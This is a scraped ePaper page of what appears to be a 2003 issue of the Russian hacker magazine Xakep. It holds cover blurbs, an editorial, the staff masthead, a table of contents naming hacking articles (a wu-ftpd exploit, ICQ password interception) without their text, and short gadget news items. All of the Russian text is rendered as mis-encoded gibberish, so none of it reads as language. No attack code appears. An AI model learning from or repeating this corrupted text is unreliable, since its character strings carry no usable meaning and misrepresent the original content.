10.02.2013 Views

fl ýÞÝŠ−Š

fl ýÞÝŠ−Š

fl ýÞÝŠ−Š

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Æ Ó Ð Í À Ë Î Ò Ê Î Ì Ï Ü Þ Ò Å Ð Í Û Õ Õ Ó Ë È Ã À Í Î Â<br />

W W W . X À Ê Å Ð . R U<br />

Åñòü ëè æèçíü<br />

ïîä ÄÎÑ'îì?<br />

Êàê ïðåâðàòèòü<br />

386-é íîóòáóê<br />

â iPAQ<br />

Ïîäêëþ÷àåì<br />

äèñòàíöèîííîå<br />

óïðàâëåíèå...<br />

ê êîìïüþòåðó!<br />

ver 04.03 (52)<br />

ÍÎÂÀß ÐÓÁÐÈÊÀ!<br />

ËÀÌÀÐÀÇÌÛ ÕÀÊÅÐÀ<br />

INSIDE<br />

Ìû â ñåòÿõ!<br />

Ëîêàëüíûå<br />

è ãëîáàëüíûå<br />

ñåòè<br />

îïòîâîëîêíî<br />

õàáû<br />

ìîäåìû<br />

è ïðî÷èé<br />

òåëåêîììóíèêàöèîííûé<br />

stuff


+ÁÐÀÒÑÊÀß ÌÎÃÈËÀ+<br />

×òî åñòü ðåàëüíîñòü? Òî, ÷òî òû âèäèøü? Äåðüìî ñîáà÷üå.<br />

Òû ïîñòîÿííî âèäèøü ôèëüìû ñî ñïåöýôôåêòàìè è ðåêëàìó<br />

ïî òåëåâèäåíèþ, îò êîòîðîé ïðîñòî âîíÿåò ôàëüøüþ.<br />

Òî, ÷òî òû ñëûøèøü? Íåóæåëè òû è âïðàâäó âåðèøü,<br />

÷òî Êèðêîðîâ ïîåò òàêèì ãîëîñîì, ïðûãàÿ êàê ìîëîäîé êîçëèê<br />

ïî ñöåíå è ïîòåÿ êàê ìûøü?<br />

Òå çàïàõè, ÷òî òû ÷óâñòâóåøü? ß ãîòîâ ïîñïîðèòü ñ òîáîé íà ñîòíþ áàêñîâ, ÷òî ïðèíåñó òåáå<br />

20 ïóçûðüêîâ ñ çàïàõàìè íàñòîÿùèõ öâåòîâ, íî íè îäíîãî öâåòêà â ïóçûðüêå íå îêàæåòñÿ.<br />

Òî, ÷òî òû ìîæåøü ïîùóïàòü? Íåóæåëè õîëîä èñêóññòâåííîãî ëüäà, ñîáðàííîãî<br />

èç îïðåäåëåííûõ õèìè÷åñêèõ ýëåìåíòîâ, òåáå êàæåòñÿ ïðèíåñåííûì ñ ñåâåðà?<br />

×òî åñòü ðåàëüíîñòü? Òû çàñûïàåøü âå÷åðîì è ïðîæèâàåøü àáñîëþòíî<br />

åñòåñòâåííóþ æèçíü çà 8 ÷àñîâ. Òû îáùàåøüñÿ, ðîæäàåøüñÿ, óìèðàåøü,<br />

òðàõàåøüñÿ ñ äåâóøêîé ñâîåé ìå÷òû, òû ìîæåøü äàæå áûòü æåíùèíîé<br />

(îõ, íàäåþñü, òàêèå ñíû òåáÿ íå ñíÿòñÿ :)), è âñå ýòî - áëåô. Èëè íåò?<br />

Êàê îòëè÷èòü ðåàëüíîå îò íåðåàëüíîãî? Ìîæåò, âî ñíå òû è ïðîæèâàåøü<br />

ñâîþ íàñòîÿùóþ æèçíü, à áîäðñòâóÿ, òû âñåãî ëèøü èñïîëíÿåøü<br />

óêàçàíèÿ êàêîãî-òî êóêëîâîäà?<br />

Äà, ÿ çíàþ, ñåé÷àñ ðîìàíòè÷åñêèå äåâî÷êè íà÷íóò îáçûâàòü ìåíÿ<br />

öèíèêîì, íî... ×òî åñòü ëþáîâü? Ýëåêòðè÷åñêèå èìïóëüñû â êîðå<br />

òâîåãî ãîëîâíîãî ìîçãà. ×òî åñòü âêóñ? Õèìè÷åñêàÿ ðåàêöèÿ<br />

ðàçëè÷íûõ ýëåìåíòîâ òàáëèöû Ìåíäåëååâà íà ðåöåïòîðàõ òâîåãî<br />

ÿçûêà. ×òî åñòü âèäåíèå? Ïðåîáðàçîâàíèå ñâåòîâûõ ëó÷åé<br />

è ñïåêòðà â ýëåêòðè÷åñêèå ñèãíàëû äëÿ çðèòåëüíîãî íåðâà.<br />

Ìîæåò, ïîðà ñåðüåçíî çàíÿòüñÿ èçó÷åíèåì ôèçèêè è õèìèè?<br />

Ïðèÿòíîãî ÷òåíèÿ,<br />

SINtez,<br />

èçäàòåëü Õ<br />

INTRO<br />

/ÐÅÄÀÊÖÈß<br />

>Ãëàâíûé ðåäàêòîð<br />

Àëåêñàíäð «2poisonS»<br />

Ñèäîðîâñêèé<br />

(2poisonS@real.xakep.ru)<br />

>Ðåäàêòîðû ðóáðèê<br />

ÂÇËÎÌ<br />

Èâàí «CuTTer» Ïåòðîâ<br />

(cutter@real.xakep.ru)<br />

PC_ZONE<br />

Ìèõàèë «M.J.Ash» Æèãóëèí<br />

(m.j.ash@real.xakep.ru)<br />

UNIXOID<br />

Àðòåì «Cordex» Íàãîðñêèé<br />

(cordex@real.xakep.ru)<br />

>Ðåäàêòîð CD<br />

Íèêîëàé «AvaLANche» ×åðåïàíîâ<br />

(avalanche@real.xakep.ru)<br />

>Ëèòåðàòóðíûé ðåäàêòîð<br />

Ìàðèÿ Àëüäóáàåâà<br />

(litred@real.xakep.ru)<br />

/ART<br />

>Àðò-äèðåêòîð<br />

Êèðèëë Ïåòðîâ «KROt»<br />

Äèçàéí-ñòóäèÿ «100%ÊÏÄ »<br />

(kerel@real.xakep.ru)<br />

>Äèçàéíåðû<br />

Àëèê Âàéíåð «Jmurik»<br />

(alik@real.xakep.ru)<br />

/INET<br />

>WebBoss<br />

Ñêâîðöîâà Àëåíà<br />

(Alyona@real.xakep.ru)<br />

>Ðåäàêòîð ñàéòà<br />

Ëåîíèä Áîãîëþáîâ<br />

(xa@real.xakep.ru)<br />

/PR<br />

>PR ìåíåäæåð<br />

Ãóáàðü ßíà<br />

(yana@gameland.ru)<br />

/ÐÅÊËÀÌÀ<br />

>Ðóêîâîäèòåëü îòäåëà<br />

Èãîðü Ïèñêóíîâ<br />

(igor@gameland.ru)<br />

>Ìåíåäæåðû îòäåëà<br />

Áàñîâà Îëüãà<br />

(olga@gameland.ru)<br />

Êðûìîâà Âèêòîðèÿ<br />

(vika@gameland.ru)<br />

Åìåëüÿíöåâà Îëüãà<br />

(olgaeml@gameland.ru)<br />

Ðóáèí Áîðèñ<br />

(rubin@gameland.ru)<br />

òåë.: (095) 935.70.34<br />

ôàêñ: (095) 924.96.94<br />

/PUBLISHING<br />

>Èçäàòåëü<br />

Ñåðãåé Ïîêðîâñêèé<br />

(pokrovsky@gameland.ru)<br />

>Ó÷ðåäèòåëü<br />

ÎÎÎ «Ãåéì Ëýíä»<br />

>Äèðåêòîð<br />

Äìèòðèé Àãàðóíîâ<br />

(dmitri@gameland.ru)<br />

>Ôèíàíñîâûé äèðåêòîð<br />

Áîðèñ Ñêâîðöîâ<br />

(boris@gameland.ru)<br />

/ÎÏÒÎÂÀß ÏÐÎÄÀÆÀ<br />

>Ðóêîâîäèòåëü îòäåëà<br />

Âëàäèìèð Ñìèðíîâ<br />

(vladimir@gameland.ru)<br />

>Ìåíåäæåðû îòäåëà<br />

Àíäðåé Ñòåïàíîâ<br />

(andrey@gameland.ru)<br />

Ñàìâåë Àíòàøÿí<br />

(samvel@gameland.ru)<br />

òåë.: (095) 935.70.34<br />

ôàêñ: (095) 924.96.94<br />

>Òåõíè÷åñêèé äèðåêòîð<br />

Ñåðãåé Ëÿíãå<br />

(serge@gameland.ru)<br />

/ÄËß ÏÈÑÅÌ<br />

101000, Ìîñêâà,<br />

Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð<br />

magazine@real.xakep.ru<br />

http://www.xakep.ru<br />

Çàðåãèñòðèðîâàíî<br />

â Ìèíèñòåðñòâå Ðîññèéñêîé<br />

Ôåäåðàöèè<br />

ïî äåëàì ïå÷àòè,<br />

òåëåðàäèîâåùàíèþ<br />

è ñðåäñòâàì ìàññîâûõ<br />

êîììóíèêàöèé<br />

ÏÈ ¹ 77-11802<br />

îò 14 ôåâðàëÿ 2002 ã.<br />

Îòïå÷àòàíî â òèïîãðàôèè<br />

«ScanWeb», Ôèíëÿíäèÿ<br />

Òèðàæ 75 000 ýêçåìïëÿðîâ.<br />

Öåíà äîãîâîðíàÿ.<br />

Ìíåíèå ðåäàêöèè<br />

íå îáÿçàòåëüíî ñîâïàäàåò<br />

ñ ìíåíèåì àâòîðîâ.<br />

Ðåäàêöèÿ óâåäîìëÿåò:<br />

âñå ìàòåðèàëû â íîìåðå<br />

ïðåäîñòàâëÿþòñÿ êàê<br />

èíôîðìàöèÿ ê<br />

ðàçìûøëåíèþ. Ëèöà,<br />

èñïîëüçóþùèå äàííóþ<br />

èíôîðìàöèþ<br />

â ïðîòèâîçàêîííûõ öåëÿõ,<br />

ìîãóò áûòü ïðèâëå÷åíû<br />

ê îòâåòñòâåííîñòè.<br />

Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ<br />

îòâåòñòâåííîñòè íå íåñåò.<br />

Ðåäàêöèÿ íå íåñåò<br />

îòâåòñòâåííîñòè<br />

çà ñîäåðæàíèå ðåêëàìíûõ<br />

îáúÿâëåíèé â íîìåðå.<br />

Çà ïåðåïå÷àòêó íàøèõ<br />

ìàòåðèàëîâ áåç ñïðîñà -<br />

ïðåñëåäóåì.


42/X-News<br />

44/Hack-FAQ<br />

46/Êàê ýòî áûâàåò íà<br />

ñàìîì äåëå<br />

5500/Àòàêà íà GPRS<br />

554/Ýêñïëîèò ïîä wu-ftpd<br />

558/Ettercap: çëîáîäðîì<br />

â òâîåé ëîêàëêå<br />

6600/Â ïîèñêàõ ýêñïëîèòîâ<br />

664/Âçëîì Java àïïëåòîâ<br />

74/Delphi äëÿ êà÷êîâ<br />

78/Ñàìîðàñïðîñòðàíÿþùèåñÿ<br />

ôàéëû ïîä Linux<br />

800/Íîâîñòíîé äâèæîê:<br />

âûðàæàéñÿ ðåãóëÿðíî!<br />

82/Ïåðåõâàò ICQ ïàðîëåé<br />

Tips&&Tricks<br />

24/Åñòü ëè æèçíü ïîä ÄÎÑ'îì?<br />

266/Ìîáèëüíûé êîôå<br />

300/Ïîäêëþ÷àåì äèñòàíöèîííîå<br />

óïðàâëåíèå<br />

334/Ìûëüíûå ïðîöåññîðû<br />

338/Ñìîòðè - íå ïðîñìîòðè!<br />

400/Õàêåðû 80-õ: Ðîæäåíèå ÷åðâÿ<br />

Âåäóùèé ðóáðèêè Tips&Tricks Èâàí<br />

Ñêëÿðîâ (Sklyarov@real.xakep.ru).<br />

Ïðèñûëàé ìíå ñâîè òðþêè è ñîâåòû è,<br />

âîçìîæíî, òû óâèäèøü èõ íà ñòðàíèöàõ<br />

][. Â êîíöå ãîäà ñàìûé àêòèâíûé<br />

ó÷àñòíèê ïîëó÷èò 100$. Êó÷ó èíòåðåñíûõ<br />

ñîâåòîâ, íå âîøåäøèõ â æóðíàë, ñìîòðè<br />

íà íàøåì ñàéòå http://www.xakep.ru.<br />

Ðåäàêöèÿ æóðíàëà è âåäóùèé ðóáðèêè íå<br />

íåñóò îòâåòñòâåííîñòè çà ñîâåòû,<br />

êîòîðûå ÷èòàòåëè äàþò äðóã äðóãó ;).<br />

004/HiTech News<br />

08/HardNews<br />

12/Ìûøèíûå êîðîëè<br />

18/Ïîãðóæåíèå: Àêóñòèêà Genius<br />

SW-5.1 Home Theater<br />

200/Ìû â ñåòÿõ!<br />

68/Ïîñëåäíèé îòñ÷åò<br />

72/WineX: Ïðîäîëæàåì èãðàòü â Ëèíóêñå<br />

866/Çàë ñóäà<br />

992/ØàðîWAREZ<br />

9966/WWW<br />

98/FAQ<br />

1002/¸-mail<br />

104/Õóìîð<br />

1008/Ëàìàðàçìû<br />

110/X-Puzzle<br />

112/Áîðäà<br />

Íüþñû<br />

Ôåððóì<br />

Inside<br />

PC_Zone<br />

Âçëîì<br />

Þíèêñîèä<br />

Êîäèíã<br />

Þíèòû


HiTech_News<br />

Àëåêñ Öåëûõ (News@real.xakep.ru)<br />

ÏÐÎÒÅÇ ÌÎÇÃÀ<br />

4 Íüþñû<br />

ÓÌÍÛÉ ÁÞÑÒÃÀËÜÒÅÐ<br />

Ó÷åíûå àâñòðèéñêîãî óíèâåðñèòåòà èçîáðåëè "óìíûé" áþñòãàëüòåð, ïîçâîëÿþùèé äåâóøêàì<br />

âñåãäà âûãëÿäåòü ïîäòÿíóòûìè. Âî âðåìÿ ýíåðãè÷íûõ äåéñòâèé, íàïðèìåð, ïðè áåãå è ïðûæêàõ,<br />

âñòðîåííàÿ ïîìïà ïðèäåðæèâàåò "ìÿ÷èêè". Êîãäà äåâóøêà ñïîêîéíà, õâàòêà áþñòãàëüòåðà<br />

îñëàáåâàåò. Äåâàéñ ïðîñòî íåçàìåíèì äëÿ ïðîôåññèîíàëüíûõ ñïîðòñìåíîê è ëþáèòåëüíèö<br />

ôèòíåñà.  äîïîëíåíèå ê íîâèíêå îíè ìîãóò ïðèîáðåñòè ìèíèàòþðíûé ïîëóàâòîìàòè÷åñêèé<br />

íàñîñ è óæå íà óñìîòðåíèå íåíàãëÿäíîãî äåñÿòü ðàç íà äåíü èçìåíÿòü îáúåì ñâîåé ãðóäè.<br />

ÁÀÍÎ×ÊÀ Ñ ÈÍÒÅÐÍÅÒÎÌ<br />

Ïóñòûå áàíêè èç-ïîä ñîáà÷üèõ êîíñåðâîâ íàèëó÷øèì îáðàçîì ïîäõîäÿò äëÿ îðãàíèçàöèè äîñòóïà â<br />

èíòåðíåò ïî ðàäèîìîäåìó. Ê òàêîìó âûâîäó ïðèøåë èçîáðåòàòåëüíûé àíãëè÷àíèí Äýâèä Òýéëîð, ñîãíóâøèé<br />

îäíó èç æåñòÿíîê â ñàìîäåëüíóþ àíòåííó. Óñîâåðøåíñòâîâàííûé ñòîëü ëþáîïûòíûì îáðàçîì áåñïðîâîäíîé<br />

ïåðåäàò÷èê, ñàìûé ìàëîìîùíûé è äåøåâûé èç òåõ, ÷òî áûëè â ïðîäàæå, îáåñïå÷èë îòëè÷íîå êà÷åñòâî ñâÿçè íà<br />

ðàññòîÿíèè â 3 êì. Èñïîëüçîâàíèå æåñòÿíîê èç-ïîä äðóãèõ ïðîäóêòîâ - "âèñêàñà" è ñóõîãî ìîëîêà - íå ïðèíåñëî<br />

âïå÷àòëÿþùèõ ðåçóëüòàòîâ. Îíè â ìåíüøåé ñòåïåíè óñèëèâàëè ðàäèîñèãíàë, à ãëàâíîå - ðæàâåëè.<br />

 Øòàòàõ èçîáðåëè ïðîòåç ãîëîâíîãî ìîçãà. Âåðíåå, åãî âàæíåéøåãî îòäåëà - ãèïîêàìïà. Ýòà ÷àñòü îòâå÷àåò çà íàøó ïàìÿòü,<br />

ñîçíàíèå è íàñòðîåíèå.  îòëè÷èå îò ñóùåñòâîâàâøèõ ðàíåå ñòèìóëÿòîðîâ, êðåìíèåâûé ÷èï ïîëíîñòüþ êîïèðóåò áèîëîãè÷åñêèå<br />

ôóíêöèè âñåãî îòäåëà. Äëÿ ñîçäàíèÿ ïðîòåçà ó÷åíûå ñíà÷àëà ïîñòðîèëè ìàòåìàòè÷åñêóþ ìîäåëü ãèïîêàìïà ïîäîïûòíûõ êðûñ. Ñâÿçü<br />

ìèêðî÷èïà ñ ìîçãîì íàëàäèëè ïðè ïîìîùè ýëåêòðîäîâ. Ñåé÷àñ ìèêðîñõåìà, èìïëàíòèðóåìàÿ â ÷åðåïíóþ êîðîáêó, ïîíèìàåò<br />

ìèëëèîíû âíåøíèõ ðàçäðàæèòåëåé è çíàåò "ñèñòåìó êîäîâ" ãîëîâíîãî ìîçãà. Ðàáîòû ïî ñîçäàíèþ ïðîòåçà âåëèñü áîëåå 10 ëåò.<br />

ÄÅÐÅÂßÍÍÎÅ "ÆÅËÅÇÎ"<br />

Àìåðèêàíñêàÿ êîìïàíèÿ Wood Contour<br />

(www.woodcontour.com) ïðåäñòàâèëà ëþáîïûòíåéøóþ ëèíåéêó<br />

êîìïüþòåðíûõ àêñåññóàðîâ èç äåðåâà. Íà ñåãîäíÿøíèé äåíü<br />

êîëëåêöèÿ âêëþ÷àåò â ñåáÿ ìûøü, êëàâèàòóðó è êîðïóñ äëÿ<br />

æèäêîêðèñòàëëè÷åñêîãî ìîíèòîðà. Ïî æåëàíèþ çàêàç÷èêà<br />

âîçìîæíû âàðèàíòû èñïîëíåíèÿ èç öåëüíîãî êðàñíîãî äåðåâà,<br />

âèøíè, áóêà èëè äóáà. Ðàáîòà ðó÷íàÿ, ïîýòîìó êàæäîå èçäåëèå<br />

óíèêàëüíî. Êîìïàíèÿ íàïîìèíàåò, ÷òî äåðåâî íàìíîãî<br />

äîëãîâå÷íåå è èçÿùíåå ïëàñòìàññû. Äëÿ ñîõðàíåíèÿ<br />

ïåðâîçäàííîãî ëîñêà äîñòàòî÷íî ïåðèîäè÷åñêè ïðîòèðàòü<br />

ïîâåðõíîñòü áàðõîòêîé ñ ïîëèðîëüþ äëÿ ìåáåëè. Ñòîèìîñòü<br />

äóáîâîé îïòè÷åñêîé ìûøè - 100 äîëëàðîâ. Çà ïîëíûé ñåò<br />

èçäåëèé ïðèäåòñÿ âûëîæèòü îêîëî 3 òûñÿ÷.<br />

ÑÈÌÓËßÒÎÐ ÏÐßÌÎÉ ÊÈØÊÈ<br />

Áåëüãèåö Óèì Äåëüâîéå ñîçäàë ðîáîòèçèðîâàííóþ àðò-èíñòàëëÿöèþ "Ñèìóëÿòîð<br />

ïèùåâîãî òðàêòà". "Êëîàêà" âûñòàâëåíà â Íîâîì ìóçåå Íüþ-Éîðêà. Äâàæäû â äåíü àâòîð<br />

÷åðåç âîðîíêó äåìîíñòðàòèâíî çàêëàäûâàåò â òåðìîÿäåðíóþ êîíñòðóêöèþ äîáðîòíûé îáåä<br />

èç ïåðâîãî, âòîðîãî è äåñåðòà. Ïèùà ïðîõîäèò ÷åðåç ñïåöèàëüíóþ ìÿñîðóáêó è ïî<br />

ñòåêëÿííîìó ïèùåâîäó ïîïàäàåò â èñêóññòâåííûé æåëóäîê. Çìååîáðàçíûå òðóáêè<br />

ìåäëåííî çàêà÷èâàþò åå â øåñòü ñòåêëÿííûõ ñîñóäîâ, ãäå ïèùà ðàçëàãàåòñÿ ïîä<br />

âîçäåéñòâèåì ýíçèìîâ è íàñòîÿùåãî æåëóäî÷íîãî ñîêà. Åùå ÷åðåç íåñêîëüêî ÷àñîâ â<br />

áîëüøîé ýìàëèðîâàííûé ãîðøîê ïîä ïðîçðà÷íûì êîëïàêîì âûâàëèâàþòñÿ... ýêñêðåìåíòû.<br />

Ñîçäàíèå ìàøèíû îáîøëîñü â 200 òûñÿ÷ äîëëàðîâ, íî ÷èñëî æåëàþùèõ ïîñìîòðåòü, êàê<br />

ðîáîò "õîäèò ïî-áîëüøîìó", ñ ëèõâîé îêóïèëî âñå çàòðàòû.<br />

1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


ÍÅÏÐÈÊÀÑÀÅÌÛÅ<br />

Ñêàíäèíàâñêàÿ êîìïàíèÿ Handy-fashions.com<br />

ïðåäñòàâèëà ãàðäåðîá äëÿ ïàðàíîèêîâ. È æèëåò,<br />

è êåïêà, è øàðô ïðåäíàçíà÷åíû äëÿ çàùèòû îò<br />

âðåäíîãî èçëó÷åíèÿ ìîáèëüíèêîâ. Äëÿ èõ<br />

ïðîèçâîäñòâà èñïîëüçóåòñÿ ñïåöèàëüíàÿ<br />

àíòèðàäèàöèîííàÿ òêàíü. Òîëüêî ñèíèé êàðìàí íà<br />

ñåðåáðèñòîé æèëåòêå âûïîëíåí èç îáû÷íîé -<br />

÷òîáû òåëåôîí áåñïðåïÿòñòâåííî ïðèíèìàë<br />

ñèãíàë. Ó êåïêè ïî áîêàì ðàñïîëîæåíû<br />

îòñòåãèâàåìûå çàùèòíûå êëàïàíû. À â øàðô<br />

ãèãàíòñêèõ ðàçìåðîâ è âîâñå ìîæíî ïåëåíàòü<br />

ìëàäåíöåâ. Ñòîèìîñòü ïîëíîãî çàùèòíîãî<br />

êîìïëåêòà îêîëî 300 äîëëàðîâ.<br />

USB-ÃÐÅËÊÀ<br />

 ßïîíèè íàáëþäàåòñÿ<br />

íàñòîÿùèé áóì èíòåðåñà ê äàëåêèì<br />

îò êîìïüþòåðà èçäåëèÿì ñ USBèíòåðôåéñîì.<br />

Íàïðÿæåíèå â 5 âîëüò<br />

óæå èñïîëüçóåòñÿ äëÿ ïèòàíèÿ<br />

ïîñòåëüíîé ãðåëêè è ÷àøêè äëÿ ÷àÿ ñ<br />

ïîäîãðåâîì. Ãàäæåòû èìåþò<br />

íåñãîðàåìîå ïîêðûòèå. Ñïåöèàëüíûé<br />

äàò÷èê îòâå÷àåò çà ïîääåðæàíèå<br />

ïîñòîÿííîé òåìïåðàòóðû. Äëèíà<br />

USB-øíóðà - ïîëòîðà ìåòðà.<br />

Ïîñëåäíèìè íà âèòðèíàõ ÿïîíñêèõ<br />

ìàãàçèíîâ ïîÿâèëèñü ìèíèàòþðíûå<br />

USB-âåíòèëÿòîðû è çóáíûå ùåòêè.<br />

Áîðîòüñÿ ñ êàðèåñîì, íå îòõîäÿ îò<br />

ìîíèòîðà, ìîæíî âñåãî çà 11<br />

äîëëàðîâ.<br />

ÀÒËÀÍÒ Ñ ÏÀËÅÖ<br />

Èñïàíñêèå ó÷åíûå ñêîíñòðóèðîâàëè ðîáîòèçèðîâàííûé ïàëåö, äâèãàþùèé ïðåäìåòû ïî ïîâåðõíîñòè ñòîëà. "Óìíàÿ"<br />

êîíå÷íîñòü èçãîòîâëåíà èç ïîëèïèððîëà - ïîëèìåðà, êîòîðûé ïîäîáíî ìóñêóëàì ñïîñîáåí ñîêðàùàòüñÿ ïðè ïðîõîæäåíèè<br />

÷åðåç íåãî ýëåêòðè÷åñêîãî òîêà. Ïàëåö ÷óâñòâóåò âåñ ïðåäìåòà è ñîîáðàçíî ðàñõîäóåò ñèëû.  èòîãå, ÷óãóííûé óòþã áóäåò<br />

äâèãàòüñÿ ñ òàêîé æå ñêîðîñòüþ, ÷òî è êóñîê ïîðîëîíà.<br />

ÏÀËÜÖÅÌ Â ÐÎÒ<br />

Êîìïàíèÿ Dental Dots (www.dentaldots.com) ïðåäñòàâèëà îðèãèíàëüíóþ àëüòåðíàòèâó<br />

çóáíîé ùåòêå. Ïðåäëàãàåòñÿ ïðèêëåèòü íà ïîäóøå÷êó ïàëüöà ñïåöèàëüíûå "çóáíûå êðóæî÷êè"<br />

è äðàèòü èìè âî ðòó. Íà ùåòèíó çàðàíåå íàíåñåíà ìÿòíàÿ ïàñòà, ÷òî äåëàåò ïðîöåäóðó<br />

ïðèâû÷íîé.  îáùåì, êîãäà ùåòêè ïîä ðóêîé íåò, î÷åíü äàæå óäîáíî. Íàäïèñü íà óïàêîâêå<br />

óâåðÿåò, ÷òî åñëè è ïðîãëîòèøü èíñòðóìåíò, òî ñàìîãî ñòðàøíîãî íå ñëó÷èòñÿ. Êîìïëåêò èç 6<br />

"çóáíûõ êðóæêîâ" ñòîèò áåç ìàëîãî 2 äîëëàðà.<br />

ÀÐÎÌÀÒÍÛÅ ÍÎÑÊÈ<br />

 Àíãëèè ðàçðàáîòàëè òåõíîëîãèþ ïðîèçâîäñòâà àðîìàòíîé îäåæäû. Íîó-õàó ïîçâîëÿåò<br />

ââîäèòü â âîëîêíà òêàíè ðåïåëëåíòû îò íàñåêîìûõ, îñâåæèòåëè âîçäóõà, àðîìàòû ïàðôþìà è äàæå<br />

âèòàìèíû. Íàïðèìåð, äëÿ ñïîðòèâíûõ êîñòþìîâ ïðåäëàãàåòñÿ èñïîëüçîâàòü ýôôåêò îõëàæäåíèÿ.<br />

Ñ ýòîé öåëüþ â òêàíü äîáàâëÿþòñÿ ÷àñòèöû ìåíòîëà. Äëÿ ðóáàøåê àêòóàëüíà çàùèòà îò çàïàõà<br />

òàáàêà. Êóðòêè áóäóò îòïóãèâàòü êðîâîæàäíûõ ìîñêèòîâ. È, íàêîíåö, íîñêè - èñòî÷àòü àðîìàòû<br />

öâåòîâ. Ïðîïèòêà òêàíè ñîõðàíÿåòñÿ, êàê ìèíèìóì, íà 30 ìàøèííûõ ñòèðîê.<br />

ÑÊÎËÜÇÈÌ ÏÎ ÑÓÕÎÌÓ<br />

Íàêîíåö êòî-òî ïîçàáîòèëñÿ î ëþáèòåëÿõ ñóõîãî áðèòüÿ! Braun ïðåäñòàâèëà FreeGlider - ñòèëüíóþ<br />

ýëåêòðîáðèòâó íîâîãî ïîêîëåíèÿ. Åå óíèêàëüíîñòü - â àâòîìàòè÷åñêîì íàíåñåíèè íà êîæó óâëàæíÿþùåãî<br />

ëîñüîíà è âèòàìèíîâ. FreeGlider íàäåæíî çàùèùàåò êîæó îò ìèêðîñêîïè÷åñêèõ ïîâðåæäåíèé, ïðè ýòîì<br />

ñáðèâàåò àáñîëþòíî âñå âîëîñêè. Ñìåííûå êàðòðèäæè ñ ëîñüîíîì ïðîäàþòñÿ îòäåëüíî. Îäíîãî õâàòàåò íà<br />

15 ïðîöåäóð. Ïëàâàþùàÿ ãîëîâêà, ðàáîòà îò àêêóìóëÿòîðà è âîçìîæíîñòü ìûòü áðèòâó ïîä ñòðóåé âîäû - âñå<br />

ýòî ïîçâîëÿåò ïîéìàòü íàñòîÿùèé êàéô îò ñóõîãî áðèòüÿ.<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 5


HiTech_News<br />

Àëåêñ Öåëûõ (News@real.xakep.ru)<br />

ÎÒÌÀÇÊÀ ÄËß ÁÎÑÑÀ<br />

 óíèâåðñèòåòå Êàðíåãè Ìýëëîí âåäåòñÿ<br />

ðàçðàáîòêà "óìíîãî" òåëåôîíà ñ ôóíêöèÿìè<br />

ñåêðåòàðÿ. Îí ñàì äîãàäûâàåòñÿ, êîãäà õîçÿèí<br />

çàíÿò è âåæëèâî ïðîñèò îñòàâèòü ñîîáùåíèå íà<br />

àâòîîòâåò÷èêå. Äåâàéñ áðàêóåò àáîíåíòîâ òîëüêî<br />

ïîñëå òîãî, êàê ïðîàíàëèçèðóåò èíôîðìàöèþ èç<br />

íåñêîëüêèõ èñòî÷íèêîâ. Ñ ýòîé öåëüþ â òåëåôîí<br />

âñòðîåí ñòåðåîìèêðîôîí, íåáîëüøàÿ âèäåîêàìåðà<br />

è ðÿä ñåíñîðîâ. Ê ñèòóàöèÿì, êîãäà ðàçãîâîð<br />

íåâîçìîæåí, ðîáîò îòíîñèò íåðàáî÷åå âðåìÿ<br />

ñóòîê, ñêàíäàëüíûå èíòîíàöèè â áåñåäå ñ äðóãèì<br />

÷åëîâåêîì, îòêðûòóþ äâåðü êàáèíåòà è íåðâíûé<br />

ñòóê ïî êëàâå.  îáùåì ñëó÷àå âûáèðàþòñÿ ñàìûå<br />

âàæíûå è áåçîøèáî÷íûå êðèòåðèè îöåíêè<br />

îáñòàíîâêè. Âñòðîåííîå ïðîãðàììíîå îáåñïå÷åíèå<br />

ëåãêî îáó÷àåòñÿ, íàáëþäàÿ çà ïîâåäåíèåì áîññà.<br />

6 Íüþñû<br />

ÄÈÑÊÎ ÍÀ ÑÒÎËÅØÍÈÖÅ<br />

ËÞÁÎÏÛÒÍÀß "ÌÓÕÀ"<br />

1<br />

ÐÎÁÎÒ-Ó×ÅÍÈÊ<br />

Êàíàäñêàÿ êîìïàíèÿ Telbotics (www.telbotics.com) ïðåäñòàâèëà<br />

ïåðâîãî â ìèðå ðîáîòà-ó÷åíèêà. Òåïåðü çàÿäëûå ïðîãóëüùèêè, à<br />

òàêæå þííàòû, ïðîïóñêàþùèå øêîëó ïî óâàæèòåëüíîé ïðè÷èíå,<br />

ìîãóò äèñòàíöèîííî ïðèñóòñòâîâàòü íà óðîêàõ. Íà ñàìîì äåëå PEB-<br />

BLES ñîñòîèò èç äâóõ ðîáîòîâ-áëèçíÿøåê, ñâÿçàííûõ ïî êàíàëàì<br />

ISDN, DSL èëè T1. Îäèí ðîáîò íàõîäèòñÿ â êëàññå, äðóãîé - äîìà<br />

èëè ó áîëüíè÷íîé êîéêè. PEBBLES ðàáîòàåò íà Pentium IV ïîä<br />

Windows NT. Ðîáîò áîäðî ïåðåäâèãàåòñÿ íà êîëåñàõ. À áëàãîäàðÿ<br />

ìîíèòîðó è ìèíèàòþðíîé êàìåðå íà ðàñêëàäíîì øòàòèâå, äàæå<br />

çàêîâàííûå â ãèïñ ñëûøàò è âèäÿò âñå, ÷òî ïðîèñõîäèò íà óðîêå. Ñ<br />

ãåéìïàäà ó÷åíè÷êè ìîãóò "êðóòèòü ãîëîâîé", ìàñøòàáèðîâàòü<br />

èçîáðàæåíèå è äàæå ïîäíèìàòü ìåõàíè÷åñêóþ ðóêó, ÷òîáû<br />

âûçâàòüñÿ ê äîñêå. Âñòðîåííûé ñêàíåð ïîçâîëÿåò ñäàòü íà ïðîâåðêó<br />

äîìàøíåå çàäàíèå. Äëÿ ýòîãî íóæíî "ñêîðìèòü" ëèñòîê â áàðàáàí.<br />

Íà òîì êîíöå ïðîâîäà ó÷èòåëü ïðèìåò ôàêñ. Îòëè÷íîå êà÷åñòâî<br />

çâóêà îáåñïå÷èâàþò áåñïðîâîäíîé ìèêðîôîí è ñòåðåîäèíàìèêè.  íàñòîÿùåå âðåìÿ èíæåíåðû<br />

Telbotics ñîâåðøåíñòâóþò ñâîþ ðàçðàáîòêó, ÷òîáû íà ïåðåìåíàõ PEBBLES ìîã ñâîáîäíî âûåçæàòü çà<br />

ïðåäåëû êëàññà è îðãàíèçîâûâàòü íåïðèíóæäåííîå îáùåíèå "îòøåëüíèêà" ñî ñâîèìè ñâåðñòíèêàìè.<br />

